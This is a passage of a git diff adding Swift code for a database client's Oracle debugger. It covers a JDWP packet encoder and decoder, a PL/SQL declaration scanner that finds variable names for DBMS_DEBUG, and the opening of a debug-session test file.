+        guard count >= 0, offset + count <= bytes.count else { throw OracleJDWPError.truncated }
+        defer { offset += count }
+        return bytes[offset..<offset + count]
+    }
+
+    public mutating func u8() throws -> UInt8 {
+        try take(1).first ?? 0
+    }
+
+    public mutating func i32() throws -> Int32 {
+        Int32(bitPattern: UInt32(try unsigned(4)))
+    }
+
+    public mutating func i64() throws -> Int64 {
+        Int64(bitPattern: try unsigned(8))
+    }
+
+    public mutating func string() throws -> String {
+        let length = Int(try i32())
+        let slice = try take(length)
+        return String(bytes: slice, encoding: .utf8) ?? String(bytes: slice, encoding: .isoLatin1) ?? ""
+    }
+
+    public mutating func id(_ kind: OracleJDWPIDKind) throws -> UInt64 {
+        try unsigned(sizes.size(of: kind))
+    }
+
+    public mutating func location() throws -> OracleJDWPLocation {
+        OracleJDWPLocation(
+            typeTag: try u8(),
+            classID: try id(.referenceType),
+            methodID: try id(.method),
+            index: try i64()
+        )
+    }
+
+    public mutating func taggedValue() throws -> OracleJDWPValue {
+        let tag = try u8()
+        switch tag {
+        case UInt8(ascii: "B"), UInt8(ascii: "Z"):
+            return .primitive(tag: tag, bits: try unsigned(1))
+        case UInt8(ascii: "C"), UInt8(ascii: "S"):
+            return .primitive(tag: tag, bits: try unsigned(2))
+        case UInt8(ascii: "I"), UInt8(ascii: "F"):
+            return .primitive(tag: tag, bits: try unsigned(4))
+        case UInt8(ascii: "J"), UInt8(ascii: "D"):
+            return .primitive(tag: tag, bits: try unsigned(8))
+        case UInt8(ascii: "V"):
+            return .void
+        default:
+            return .object(tag: tag, id: try id(.object))
+        }
+    }
+
+    private mutating func unsigned(_ width: Int) throws -> UInt64 {
+        guard (0...8).contains(width) else { throw OracleJDWPError.malformedPacket }
+        var value: UInt64 = 0
+        for byte in try take(width) {
+            value = value << 8 | UInt64(byte)
+        }
+        return value
+    }
+}
+
+public struct OracleJDWPLocation: Sendable, Hashable {
+    public let typeTag: UInt8
+    public let classID: UInt64
+    public let methodID: UInt64
+    public let index: Int64
+
+    public init(typeTag: UInt8 = 1, classID: UInt64, methodID: UInt64, index: Int64) {
+        self.typeTag = typeTag
+        self.classID = classID
+        self.methodID = methodID
+        self.index = index
+    }
+}
+
+public enum OracleJDWPValue: Sendable, Equatable {
+    case primitive(tag: UInt8, bits: UInt64)
+    case object(tag: UInt8, id: UInt64)
+    case void
+
+    public static let stringTag = UInt8(ascii: "s")
+    public static let objectTag = UInt8(ascii: "L")
+    public static let arrayTag = UInt8(ascii: "[")
+
+    public var objectID: UInt64? {
+        if case .object(_, let id) = self { return id }
+        return nil
+    }
+}
+
+public enum OracleJDWPPacket: Sendable, Equatable {
+    case command(id: UInt32, commandSet: UInt8, command: UInt8, data: Data)
+    case reply(id: UInt32, errorCode: UInt16, data: Data)
+
+    static let headerLength = 11
+    static let replyFlag: UInt8 = 0x80
+    // Nothing this debugger asks for comes near it; a larger length is a peer trying to make the app buffer it.
+    public static let maximumLength = 16 * 1_024 * 1_024
+
+    public static let handshake = Data("JDWP-Handshake".utf8)
+
+    public var encoded: Data {
+        var out = Data()
+        func append32(_ value: UInt32) {
+            withUnsafeBytes(of: value.bigEndian) { out.append(contentsOf: $0) }
+        }
+        switch self {
+        case let .command(id, commandSet, command, data):
+            append32(UInt32(Self.headerLength + data.count))
+            append32(id)
+            out.append(0)
+            out.append(commandSet)
+            out.append(command)
+            out.append(data)
+        case let .reply(id, errorCode, data):
+            append32(UInt32(Self.headerLength + data.count))
+            append32(id)
+            out.append(Self.replyFlag)
+            withUnsafeBytes(of: errorCode.bigEndian) { out.append(contentsOf: $0) }
+            out.append(data)
+        }
+        return out
+    }
+
+    // Nil until `bytes` holds a whole packet; the consumed length comes back with it.
+    public static func decode(from bytes: Data) throws -> (packet: OracleJDWPPacket, length: Int)? {
+        guard bytes.count >= headerLength else { return nil }
+        let start = bytes.startIndex
+        func u32(at offset: Int) -> UInt32 {
+            (0..<4).reduce(UInt32(0)) { $0 << 8 | UInt32(bytes[start + offset + $1]) }
+        }
+        let length = Int(u32(at: 0))
+        guard length >= headerLength, length <= maximumLength else { throw OracleJDWPError.malformedPacket }
+        guard bytes.count >= length else { return nil }
+        let id = u32(at: 4)
+        let flags = bytes[start + 8]
+        let body = Data(bytes[(start + headerLength)..<(start + length)])
+        if flags & replyFlag != 0 {
+            let code = UInt16(bytes[start + 9]) << 8 | UInt16(bytes[start + 10])
+            return (.reply(id: id, errorCode: code, data: body), length)
+        }
+        return (.command(id: id, commandSet: bytes[start + 9], command: bytes[start + 10], data: body), length)
+    }
+}
+
+public struct OracleJDWPFrameBuffer: Sendable {
+    private var pending = Data()
+
+    public init() {}
+
+    public mutating func append(_ data: Data) {
+        pending.append(data)
+    }
+
+    public mutating func nextPacket() throws -> OracleJDWPPacket? {
+        guard let (packet, length) = try OracleJDWPPacket.decode(from: pending) else { return nil }
+        pending = Data(pending.dropFirst(length))
+        return packet
+    }
+
+    public mutating func take(_ count: Int) -> Data? {
+        guard pending.count >= count else { return nil }
+        let head = Data(pending.prefix(count))
+        pending = Data(pending.dropFirst(count))
+        return head
+    }
+}
+
+public enum OracleJDWPCommand {
+    public static let virtualMachine: UInt8 = 1
+    public static let referenceType: UInt8 = 2
+    public static let method: UInt8 = 6
+    public static let objectReference: UInt8 = 9
+    public static let stringReference: UInt8 = 10
+    public static let threadReference: UInt8 = 11
+    public static let arrayReference: UInt8 = 13
+    public static let eventRequest: UInt8 = 15
+    public static let stackFrame: UInt8 = 16
+    public static let event: UInt8 = 64
+
+    public static let version: UInt8 = 1
+    public static let classesBySignature: UInt8 = 2
+    public static let suspend: UInt8 = 8
+    public static let resume: UInt8 = 9
+    public static let idSizes: UInt8 = 7
+
+    public static let signature: UInt8 = 1
+    public static let fields: UInt8 = 4
+    public static let methods: UInt8 = 5
+    public static let staticValues: UInt8 = 6
+
+    public static let lineTable: UInt8 = 1
+    public static let variableTable: UInt8 = 2
+
+    public static let objectReferenceType: UInt8 = 1
+    public static let objectValues: UInt8 = 2
+
+    public static let stringValue: UInt8 = 1
+    public static let frames: UInt8 = 6
+    public static let arrayLength: UInt8 = 1
+
+    public static let set: UInt8 = 1
+    public static let clear: UInt8 = 2
+
+    public static let frameValues: UInt8 = 1
+    public static let composite: UInt8 = 100
+}
+
+public enum OracleJDWPEventKind: UInt8, Sendable {
+    case singleStep = 1
+    case breakpoint = 2
+    case classPrepare = 8
+    case vmStart = 90
+    case vmDeath = 99
+}
+
+public enum OracleJDWPEvent: Sendable, Equatable {
+    case vmStart(thread: UInt64)
+    case classPrepare(requestID: Int32, thread: UInt64, typeID: UInt64, signature: String)
+    case breakpoint(requestID: Int32, thread: UInt64, location: OracleJDWPLocation)
+    case singleStep(requestID: Int32, thread: UInt64, location: OracleJDWPLocation)
+    case vmDeath
+    case other(kind: UInt8)
+}
+
+public struct OracleJDWPEventSet: Sendable, Equatable {
+    public let suspendPolicy: UInt8
+    public let events: [OracleJDWPEvent]
+
+    public static func decode(_ data: Data, sizes: OracleJDWPIDSizes) throws -> OracleJDWPEventSet {
+        var reader = OracleJDWPReader(data, sizes: sizes)
+        let policy = try reader.u8()
+        // An event is at least its kind and its request id.
+        let count = try reader.count(minimumSize: 5)
+        var events: [OracleJDWPEvent] = []
+        for _ in 0..<count {
+            let kind = try reader.u8()
+            let requestID = try reader.i32()
+            switch OracleJDWPEventKind(rawValue: kind) {
+            case .vmStart:
+                events.append(.vmStart(thread: try reader.id(.object)))
+            case .classPrepare:
+                let thread = try reader.id(.object)
+                _ = try reader.u8()
+                let typeID = try reader.id(.referenceType)
+                let signature = try reader.string()
+                _ = try reader.i32()
+                events.append(.classPrepare(requestID: requestID, thread: thread, typeID: typeID, signature: signature))
+            case .breakpoint:
+                events.append(.breakpoint(requestID: requestID, thread: try reader.id(.object), location: try reader.location()))
+            case .singleStep:
+                events.append(.singleStep(requestID: requestID, thread: try reader.id(.object), location: try reader.location()))
+            case .vmDeath:
+                events.append(.vmDeath)
+            case nil:
+                // The remaining events cannot be framed without knowing this kind's layout.
+                events.append(.other(kind: kind))
+                return OracleJDWPEventSet(suspendPolicy: policy, events: events)
+            }
+        }
+        return OracleJDWPEventSet(suspendPolicy: policy, events: events)
+    }
+}
+
+public enum OracleJDWPRequest {
+    public static let suspendAll: UInt8 = 2
+    static let modifierCount: UInt8 = 1
+    static let modifierClassMatch: UInt8 = 5
+    static let modifierLocationOnly: UInt8 = 7
+    static let modifierStep: UInt8 = 10
+
+    public enum StepDepth: Int32, Sendable {
+        case into = 0
+        case over = 1
+        case out = 2
+    }
+
+    static let stepSizeLine: Int32 = 1
+
+    public static func classPrepare(matching pattern: String, sizes: OracleJDWPIDSizes) -> Data {
+        var writer = OracleJDWPWriter(sizes: sizes)
+        writer.u8(OracleJDWPEventKind.classPrepare.rawValue)
+        writer.u8(suspendAll)
+        writer.i32(1)
+        writer.u8(modifierClassMatch)
+        writer.string(pattern)
+        return writer.data
+    }
+
+    public static func breakpoint(at location: OracleJDWPLocation, sizes: OracleJDWPIDSizes) -> Data {
+        var writer = OracleJDWPWriter(sizes: sizes)
+        writer.u8(OracleJDWPEventKind.breakpoint.rawValue)
+        writer.u8(suspendAll)
+        writer.i32(1)
+        writer.u8(modifierLocationOnly)
+        writer.location(location)
+        return writer.data
+    }
+
+    public static func step(thread: UInt64, depth: StepDepth, sizes: OracleJDWPIDSizes) -> Data {
+        var writer = OracleJDWPWriter(sizes: sizes)
+        writer.u8(OracleJDWPEventKind.singleStep.rawValue)
+        writer.u8(suspendAll)
+        writer.i32(1)
+        writer.u8(modifierStep)
+        writer.id(thread, .object)
+        writer.i32(stepSizeLine)
+        writer.i32(depth.rawValue)
+        return writer.data
+    }
+
+    public static func clear(kind: OracleJDWPEventKind, requestID: Int32, sizes: OracleJDWPIDSizes) -> Data {
+        var writer = OracleJDWPWriter(sizes: sizes)
+        writer.u8(kind.rawValue)
+        writer.i32(requestID)
+        return writer.data
+    }
+}
diff --git a/apple/Packages/TableProOracle/Sources/TableProOracleCore/OraclePLSQLDeclarationScan.swift b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OraclePLSQLDeclarationScan.swift
new file mode 100644
index 0000000000..a8798b9be8
--- /dev/null
+++ b/apple/Packages/TableProOracle/Sources/TableProOracleCore/OraclePLSQLDeclarationScan.swift
@@ -0,0 +1,582 @@
+import Foundation
+
+// DBMS_DEBUG has no call that lists a frame's variables; GET_VALUE takes a name. The names come from the unit's
+// ALL_SOURCE text: PL/Scope would give exact declarations, but only for units compiled with PLSCOPE_SETTINGS
+// 'IDENTIFIERS:ALL' (the default is NONE, and the compile for debug keeps the unit's settings), and on 26ai its
+// USAGE_CONTEXT_ID came back 0 for every row, so scopes would still be guessed from lines. A name this scan offers
+// that is not in scope comes back from GET_VALUE as no_such_object and is dropped, so the server decides scope.
+public struct OraclePLSQLDeclarationScan: Sendable, Equatable {
+    public enum Kind: Sendable, Equatable {
+        case parameter
+        case variable
+        case constant
+        case iterator
+    }
+
+    public struct Declaration: Sendable, Equatable {
+        public let name: String
+        public let isQuoted: Bool
+        public let typeText: String?
+        public let line: Int
+        public let kind: Kind
+        // Nil for a package-level variable.
+        public let subprogram: Int?
+        let block: Int?
+
+        // GET_VALUE reads its name as an identifier path, so `"a.b"` unquoted would name member b of a, and a lower
+        // case or spaced name would not be found at all.
+        public var lookupName: String { isQuoted ? "\"\(name)\"" : name }
+    }
+
+    public struct Subprogram: Sendable, Equatable {
+        public let name: String
+        public let headerLine: Int
+        public internal(set) var endLine: Int?
+        public let parent: Int?
+        public internal(set) var isDefinition: Bool
+
+        public var depth: Int = 1
+    }
+
+    struct Block: Sendable, Equatable {
+        let startLine: Int
+        var endLine: Int?
+    }
+
+    public private(set) var declarations: [Declaration] = []
+    public private(set) var subprograms: [Subprogram] = []
+    private var blocks: [Block] = []
+
+    public init(source: String) {
+        var parser = Parser(tokens: Lexer.tokens(of: source))
+        parser.run()
+        declarations = parser.declarations.filter { declaration in
+            guard let index = declaration.subprogram else { return true }
+            return parser.subprograms[index].isDefinition
+        }
+        subprograms = parser.subprograms
+        blocks = parser.blocks
+    }
+
+    // The header lines of the unit-level subprograms named `name`: every overload, since the first one entered is the
+    // one the debugger called.
+    public func headerLines(ofSubprogramNamed name: String) -> [Int] {
+        subprograms.filter { $0.isDefinition && $0.depth == 1 && $0.name == name }.map(\.headerLine)
+    }
+
+    public func innermostSubprogram(containing line: Int) -> Int? {
+        var best: Int?
+        for (index, subprogram) in subprograms.enumerated() where subprogram.isDefinition {
+            guard subprogram.headerLine <= line, line <= (subprogram.endLine ?? Int.max) else { continue }
+            if let current = best, subprograms[current].headerLine > subprogram.headerLine { continue }
+            best = index
+        }
+        return best
+    }
+
+    // Parameters and locals of the subprogram running at `line`, then of each subprogram around it.
+    public func candidates(atLine line: Int) -> [Declaration] {
+        guard let innermost = innermostSubprogram(containing: line) else { return [] }
+        var chain: [Int] = []
+        var current: Int? = innermost
+        while let index = current {
+            chain.append(index)
+            current = subprograms[index].parent
+        }
+        var visible: [Declaration] = []
+        // The lexer upper-cases unquoted names, so `name` compares as Oracle resolves: `y` is `"Y"`, `x` is not `"x"`.
+        var innermostBlock: [String: Int] = [:]
+        for index in chain {
+            for declaration in declarations where declaration.subprogram == index && encloses(declaration.block, line) {
+                visible.append(declaration)
+                // Blocks are numbered as they open, so of the blocks around one line the innermost has the highest.
+                if let block = declaration.block, block > innermostBlock[declaration.name] ?? -1 {
+                    innermostBlock[declaration.name] = block
+                }
+            }
+        }
+        var seen: Set<String> = []
+        return visible.filter { declaration in
+            declaration.block == innermostBlock[declaration.name] && seen.insert(declaration.name).inserted
+        }
+    }
+
+    private func encloses(_ block: Int?, _ line: Int) -> Bool {
+        guard let block else { return false }
+        return blocks[block].startLine <= line && line <= (blocks[block].endLine ?? Int.max)
+    }
+
+    public var packageVariables: [Declaration] {
+        declarations.filter { $0.subprogram == nil }
+    }
+}
+
+extension OraclePLSQLDeclarationScan {
+    struct Token: Equatable {
+        enum Kind: Equatable {
+            case word
+            case quoted
+            case symbol
+            case other
+        }
+
+        let kind: Kind
+        let text: String
+        let line: Int
+
+        func isWord(_ words: String...) -> Bool {
+            kind == .word && words.contains(text)
+        }
+
+        func isSymbol(_ symbol: String) -> Bool {
+            kind == .symbol && text == symbol
+        }
+
+        var isName: Bool { kind == .word || kind == .quoted }
+    }
+
+    enum Lexer {
+        static func tokens(of source: String) -> [Token] {
+            let characters = Array(source.unicodeScalars)
+            var tokens: [Token] = []
+            var index = 0
+            var line = 1
+            func peek(_ offset: Int = 0) -> Unicode.Scalar? {
+                index + offset < characters.count ? characters[index + offset] : nil
+            }
+            func isWordStart(_ scalar: Unicode.Scalar) -> Bool {
+                scalar.properties.isAlphabetic
+            }
+            func isWordPart(_ scalar: Unicode.Scalar) -> Bool {
+                scalar.properties.isAlphabetic || ("0"..."9").contains(scalar) || scalar == "_" || scalar == "$" || scalar == "#"
+            }
+            func skipString(closing: Unicode.Scalar, doubled: Bool) {
+                while let scalar = peek() {
+                    index += 1
+                    if scalar == "\n" { line += 1 }
+                    if scalar == closing {
+                        if doubled, peek() == closing {
+                            index += 1
+                            continue
+                        }
+                        if !doubled, peek() == "'" {
+                            index += 1
+                            return
+                        }
+                        if doubled { return }
+                    }
+                }
+            }
+            while let scalar = peek() {
+                if scalar == "\n" {
+                    line += 1
+                    index += 1
+                } else if scalar.properties.isWhitespace {
+                    index += 1
+                } else if scalar == "-", peek(1) == "-" {
+                    while let next = peek(), next != "\n" { index += 1 }
+                } else if scalar == "/", peek(1) == "*" {
+                    index += 2
+                    while let next = peek(), !(next == "*" && peek(1) == "/") {
+                        if next == "\n" { line += 1 }
+                        index += 1
+                    }
+                    index += 2
+                } else if scalar == "'" {
+                    let startLine = line
+                    index += 1
+                    skipString(closing: "'", doubled: true)
+                    tokens.append(Token(kind: .other, text: "'", line: startLine))
+                } else if scalar == "q" || scalar == "Q", peek(1) == "'", let open = peek(2) {
+                    let startLine = line
+                    let closing: Unicode.Scalar
+                    switch open {
+                    case "[": closing = "]"
+                    case "{": closing = "}"
+                    case "(": closing = ")"
+                    case "<": closing = ">"
+                    default: closing = open
+                    }
+                    index += 3
+                    skipString(closing: closing, doubled: false)
+                    tokens.append(Token(kind: .other, text: "'", line: startLine))
+                } else if scalar == "\"" {
+                    let startLine = line
+                    index += 1
+                    var text = String.UnicodeScalarView()
+                    while let next = peek(), next != "\"" {
+                        if next == "\n" { line += 1 }
+                        text.append(next)
+                        index += 1
+                    }
+                    index += 1
+                    tokens.append(Token(kind: .quoted, text: String(text), line: startLine))
+                } else if isWordStart(scalar) {
+                    var text = String.UnicodeScalarView()
+                    while let next = peek(), isWordPart(next) {
+                        text.append(next)
+                        index += 1
+                    }
+                    tokens.append(Token(kind: .word, text: String(text).uppercased(), line: line))
+                } else if ("0"..."9").contains(scalar) {
+                    var text = String.UnicodeScalarView()
+                    while let next = peek(), isWordPart(next) || next == "." {
+                        text.append(next)
+                        index += 1
+                    }
+                    tokens.append(Token(kind: .other, text: String(text), line: line))
+                } else if scalar == ":", peek(1) == "=" {
+                    tokens.append(Token(kind: .symbol, text: ":=", line: line))
+                    index += 2
+                } else if scalar == "=", peek(1) == ">" {
+                    tokens.append(Token(kind: .symbol, text: "=>", line: line))
+                    index += 2
+                } else {
+                    tokens.append(Token(kind: .symbol, text: String(scalar), line: line))
+                    index += 1
+                }
+            }
+            return tokens
+        }
+    }
+
+    struct Parser {
+        enum Phase {
+            case declare
+            case body
+        }
+
+        enum Frame {
+            case unit(Phase)
+            case subprogram(Int, block: Int, Phase)
+            case block(Int, Phase)
+            case caseExpression
+            // A FOR loop's block holds its index, from the FOR to its END LOOP; other loops hold nothing.
+            case loop(Int?)
+        }
+
+        let tokens: [Token]
+        var position = 0
+        var stack: [Frame] = []
+        var declarations: [Declaration] = []
+        var subprograms: [Subprogram] = []
+        var blocks: [Block] = []
+        var pendingLoopBlock: Int?
+
+        init(tokens: [Token]) {
+            self.tokens = tokens
+        }
+
+        var current: Token? { position < tokens.count ? tokens[position] : nil }
+
+        func peekToken(at offset: Int) -> Token? {
+            position + offset < tokens.count ? tokens[position + offset] : nil
+        }
+
+        var currentSubprogram: Int? {
+            for frame in stack.reversed() {
+                if case .subprogram(let index, _, _) = frame { return index }
+            }
+            return nil
+        }
+
+        var currentBlock: Int? {
+            for frame in stack.reversed() {
+                switch frame {
+                case .subprogram(_, let block, _), .block(let block, _): return block
+                case .unit, .caseExpression, .loop: continue
+                }
+            }
+            return nil
+        }
+
+        var subprogramDepth: Int {
+            stack.reduce(0) { count, frame in
+                if case .subprogram = frame { return count + 1 }
+                return count
+            }
+        }
+
+        mutating func run() {
+            readUnitHeader()
+            while let token = current {
+                guard let frame = stack.last else {
+                    if token.isWord("PROCEDURE", "FUNCTION") {
+                        readSubprogramHeader()
+                    } else if token.isWord("DECLARE") {
+                        stack.append(.block(openBlock(at: token.line), .declare))
+                        position += 1
+                    } else if token.isWord("BEGIN") {
+                        stack.append(.block(openBlock(at: token.line), .body))
+                        position += 1
+                    } else {
+                        position += 1
+                    }
+                    continue
+                }
+                switch frame {
+                case .unit(.declare), .subprogram(_, _, .declare), .block(_, .declare):
+                    readDeclaration()
+                case .unit(.body), .subprogram(_, _, .body), .block(_, .body), .caseExpression, .loop:
+                    readBodyToken()
+                }
+            }
+        }
+
+        // PACKAGE [BODY] name IS | TYPE BODY name IS | TRIGGER ... ; a standalone PROCEDURE or FUNCTION is read as
+        // a subprogram.
+        mutating func readUnitHeader() {
+            guard let first = current else { return }
+            if first.isWord("CREATE") {
+                while let token = current, !token.isWord("PACKAGE", "PROCEDURE", "FUNCTION", "TYPE", "TRIGGER") {
+                    position += 1
+                }
+            }
+            guard let head = current else { return }
+            if head.isWord("PACKAGE", "TYPE") {
+                while let token = current, !token.isWord("IS", "AS") { position += 1 }
+                position += 1
+                stack.append(.unit(.declare))
+            } else if head.isWord("TRIGGER") {
+                while let token = current, !token.isWord("DECLARE", "BEGIN", "COMPOUND") { position += 1 }
+            }
+        }
+
+        mutating func readSubprogramHeader() {
+            guard let keyword = current else { return }
+            position += 1
+            guard let nameToken = current, nameToken.isName else { return }
+            position += 1
+            let index = subprograms.count
+            var subprogram = Subprogram(
+                name: nameToken.text,
+                headerLine: keyword.line,
+                endLine: nil,
+                parent: currentSubprogram,
+                isDefinition: false
+            )
+            subprogram.depth = subprogramDepth + 1
+            subprograms.append(subprogram)
+            // From the header line: the first stop is there, with the parameters already bound.
+            let block = openBlock(at: keyword.line)
+            if current?.isSymbol("(") == true {
+                readParameters(of: index, block: block)
+            }
+            var depth = 0
+            while let token = current {
+                if token.isSymbol("(") { depth += 1 }
+                if token.isSymbol(")") { depth -= 1 }
+                if depth == 0, token.isSymbol(";") {
+                    position += 1
+                    return
+                }
+                if depth == 0, token.isWord("IS", "AS") {
+                    position += 1
+                    // `IS LANGUAGE C` / `AS EXTERNAL` bodies have no PL/SQL to step through.
+                    if current?.isWord("LANGUAGE", "EXTERNAL") == true {
+                        skipStatement()
+                        return
+                    }
+                    subprograms[index].isDefinition = true
+                    stack.append(.subprogram(index, block: block, .declare))
+                    return
+                }
+                position += 1
+            }
+        }
+
+        mutating func readParameters(of subprogram: Int, block: Int) {
+            position += 1
+            var parts: [Token] = []
+            var depth = 1
+            while let token = current {
+                position += 1
+                if token.isSymbol("(") { depth += 1 }
+                if token.isSymbol(")") {
+                    depth -= 1
+                    if depth == 0 {
+                        addParameter(parts, subprogram: subprogram, block: block)
+                        return
+                    }
+                }
+                if depth == 1, token.isSymbol(",") {
+                    addParameter(parts, subprogram: subprogram, block: block)
+                    parts = []
+                    continue
+                }
+                parts.append(token)
+            }
+        }
+
+        mutating func addParameter(_ parts: [Token], subprogram: Int, block: Int) {
+            guard let name = parts.first, name.isName else { return }
+            var rest = parts.dropFirst()
+            while let mode = rest.first, mode.isWord("IN", "OUT", "NOCOPY") { rest = rest.dropFirst() }
+            let type = rest.prefix { !$0.isSymbol(":=") && !$0.isWord("DEFAULT") }
+            declarations.append(Declaration(
+                name: name.text,
+                isQuoted: name.kind == .quoted,
+                typeText: Self.typeText(type),
+                line: name.line,
+                kind: .parameter,
+                subprogram: subprogram,
+                block: block
+            ))
+        }
+
+        mutating func readDeclaration() {
+            guard let token = current, let frame = stack.last else { return }
+            if token.isWord("BEGIN") {
+                position += 1
+                switch frame {
+                case .unit: replaceTop(with: .unit(.body))
+                case .subprogram(let index, let block, _): replaceTop(with: .subprogram(index, block: block, .body))
+                case .block(let block, _): replaceTop(with: .block(block, .body))
+                case .caseExpression, .loop: break
+                }
+                return
+            }
+            if token.isWord("END") {
+                closeFrame(at: token.line)
+                skipStatement()
+                return
+            }
+            if token.isWord("PROCEDURE", "FUNCTION") {
+                readSubprogramHeader()
+                return
+            }
+            // A type body's method prefixes.
+            if token.isWord("MEMBER", "STATIC", "CONSTRUCTOR", "MAP", "ORDER", "OVERRIDING", "FINAL", "INSTANTIABLE") {
+                position += 1
+                return
+            }
+            if token.isWord("TYPE", "SUBTYPE", "CURSOR", "PRAGMA") || !token.isName {
+                skipStatement()
+                return
+            }
+            position += 1
+            var isConstant = false
+            if current?.isWord("CONSTANT") == true {
+                isConstant = true
+                position += 1
+            }
+            if current?.isWord("EXCEPTION") == true {
+                skipStatement()
+                return
+            }
+            var typeTokens: [Token] = []
+            var depth = 0
+            while let next = current {
+                if next.isSymbol("(") { depth += 1 }
+                if next.isSymbol(")") { depth -= 1 }
+                if depth == 0, next.isSymbol(";") || next.isSymbol(":=") || next.isWord("DEFAULT", "NOT") { break }
+                typeTokens.append(next)
+                position += 1
+            }
+            declarations.append(Declaration(
+                name: token.text,
+                isQuoted: token.kind == .quoted,
+                typeText: Self.typeText(typeTokens[...]),
+                line: token.line,
+                kind: isConstant ? .constant : .variable,
+                subprogram: currentSubprogram,
+                block: currentBlock
+            ))
+            skipStatement()
+        }
+
+        mutating func readBodyToken() {
+            guard let token = current else { return }
+            position += 1
+            if token.isWord("BEGIN") {
+                stack.append(.block(openBlock(at: token.line), .body))
+            } else if token.isWord("DECLARE") {
+                stack.append(.block(openBlock(at: token.line), .declare))
+            } else if token.isWord("CASE") {
+                stack.append(.caseExpression)
+            } else if token.isWord("LOOP") {
+                stack.append(.loop(pendingLoopBlock))
+                pendingLoopBlock = nil
+            } else if token.isWord("END") {
+                if current?.isWord("LOOP") == true {
+                    position += 1
+                    if case .loop = stack.last { closeFrame(at: token.line) }
+                } else if current?.isWord("IF") == true {
+                    position += 1
+                } else if current?.isWord("CASE") == true {
+                    position += 1
+                    popCase()
+                } else if case .caseExpression = stack.last {
+                    stack.removeLast()
+                } else {
+                    closeFrame(at: token.line)
+                    skipStatement()
+                }
+            } else if token.isWord("FOR"), let name = current, name.isName, peekToken(at: 1)?.isWord("IN") == true {
+                let block = openBlock(at: name.line)
+                pendingLoopBlock = block
+                declarations.append(Declaration(
+                    name: name.text,
+                    isQuoted: name.kind == .quoted,
+                    typeText: nil,
+                    line: name.line,
+                    kind: .iterator,
+                    subprogram: currentSubprogram,
+                    block: block
+                ))
+            }
+        }
+
+        mutating func popCase() {
+            if case .caseExpression = stack.last { stack.removeLast() }
+        }
+
+        mutating func closeFrame(at line: Int) {
+            guard let frame = stack.popLast() else { return }
+            switch frame {
+            case .subprogram(let index, let block, _):
+                subprograms[index].endLine = line
+                blocks[block].endLine = line
+            case .block(let block, _), .loop(let block?):
+                blocks[block].endLine = line
+            case .unit, .caseExpression, .loop(nil):
+                break
+            }
+        }
+
+        mutating func openBlock(at line: Int) -> Int {
+            blocks.append(Block(startLine: line))
+            return blocks.count - 1
+        }
+
+        mutating func replaceTop(with frame: Frame) {
+            stack.removeLast()
+            stack.append(frame)
+        }
+
+        mutating func skipStatement() {
+            var depth = 0
+            while let token = current {
+                position += 1
+                if token.isSymbol("(") { depth += 1 }
+                if token.isSymbol(")") { depth -= 1 }
+                if depth <= 0, token.isSymbol(";") { return }
+            }
+        }
+
+        static func typeText(_ tokens: ArraySlice<Token>) -> String? {
+            var text = ""
+            for token in tokens {
+                let piece = token.kind == .quoted ? "\"\(token.text)\"" : token.text
+                if text.isEmpty || token.isSymbol("(") || token.isSymbol(")") || token.isSymbol(",")
+                    || token.isSymbol("%") || token.isSymbol(".") || text.hasSuffix("(") || text.hasSuffix("%")
+                    || text.hasSuffix(".") {
+                    text += piece
+                } else {
+                    text += " " + piece
+                }
+            }
+            return text.isEmpty ? nil : text
+        }
+    }
+}
diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDBMSDebugSessionTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDBMSDebugSessionTests.swift
new file mode 100644
index 0000000000..6994dd2cf9
--- /dev/null
+++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleDBMSDebugSessionTests.swift
@@ -0,0 +1,212 @@
+import Foundation
+import os
+@testable import TableProOracleCore
+import Testing
+
+struct OracleDBMSDebugSessionTests {
+    private struct RefusedDelete: Error {}
+
+    private typealias Statements = OracleDBMSDebugStatements
+
+    private static let runCalc = OracleDebugUnit(owner: "PROBE", name: "RUN_CALC", kind: .procedure)
+    private static let invocationBlock = "BEGIN PROBE.RUN_CALC; END;"
+    private static let identity = OracleDebugSessionIdentity(sid: 42, serial: 7)
+    private static let anonymousFrame: [String?] = [nil, nil, "0", nil, "1", nil]
+    private static let runCalcFrame: [String?] = ["PROBE", "RUN_CALC", "1", "7", "3", nil]
+    // Lines 3, 5 and 7 have code.
+    private static let lineMap = payload(["0", "7", "A8"])
+
+    private static func payload(_ fields: [String?]) -> [String?] {
+        [OracleDebugPayload.encode(fields)]
+    }
+
+    private static func event(terminated: Bool = false, line: Int? = nil, breakpoint: Int? = nil, frames: [[String?]] = []) -> [String?] {
+        let head: [String?] = [
+            "0",
+            String(terminated ? Statements.Reason.knlExit : Statements.Reason.breakpoint),
+            terminated ? "1" : "0",
+            line.map(String.init),
+            breakpoint.map(String.init),
+            String(frames.count)
+        ]
+        return payload(head + frames.flatMap { $0 })
+    }
+
+    private static func isContinue(_ sql: String, flags: Int) -> Bool {
+        sql.contains("CONTINUE(l_info, \(flags),")
+    }
+
+    // The routine's call waits until `ended` opens, as a target paused at the supervisor does, then fails with `endedWith`.
+    private func makeSession(
+        ended: Latch,
+        endedWith: any Error = OracleDebugError.server(code: 6_543, message: "ORA-06543"),
+        callEndWait: Duration = OracleDebugSupport.callEndWait,
+        supervisor respond: @escaping @Sendable (String) async throws -> [String?]
+    ) -> (OracleDBMSDebugSession, target: ScriptedChannel, supervisor: ScriptedChannel) {
+        let target = ScriptedChannel(rows: [[.string("42"), .string("7")]]) { sql in
+            guard sql == Self.invocationBlock else { return [] }
+            await ended.wait()
+            throw endedWith
+        }
+        let supervisor = ScriptedChannel { sql in
+            if Self.isContinue(sql, flags: Statements.BreakFlags.abortExecution) {
+                ended.open()
+                return Self.event(terminated: true)
+            }
+            return try await respond(sql)
+        }
+        let session = OracleDBMSDebugSession(
+            target: target,
+            supervisor: supervisor,
+            entryPoint: OracleDebugEntryPoint(
+                entry: OracleDebugEntry(unit: Self.runCalc, subprogram: "RUN_CALC", subprogramID: 1),
+                overload: nil,
+                parameters: [],
+                result: nil
+            ),
+            invocation: OracleDebugStatements.Invocation(block: Self.invocationBlock, binds: []),
+            callEndWait: callEndWait,
+            notices: []
+        )
+        return (session, target, supervisor)
+    }
+
+    // The target paused at the supervisor, then an answer the first stop read did not parse. The target is still
+    // paused, so Stop aborts it there, which needs no ALTER SYSTEM, and the run ends confirmed.
+    @Test func testStopAbortsATargetAFailedFirstStopLeftPaused() async throws {
+        let ended = Latch()
+        defer { ended.open() }
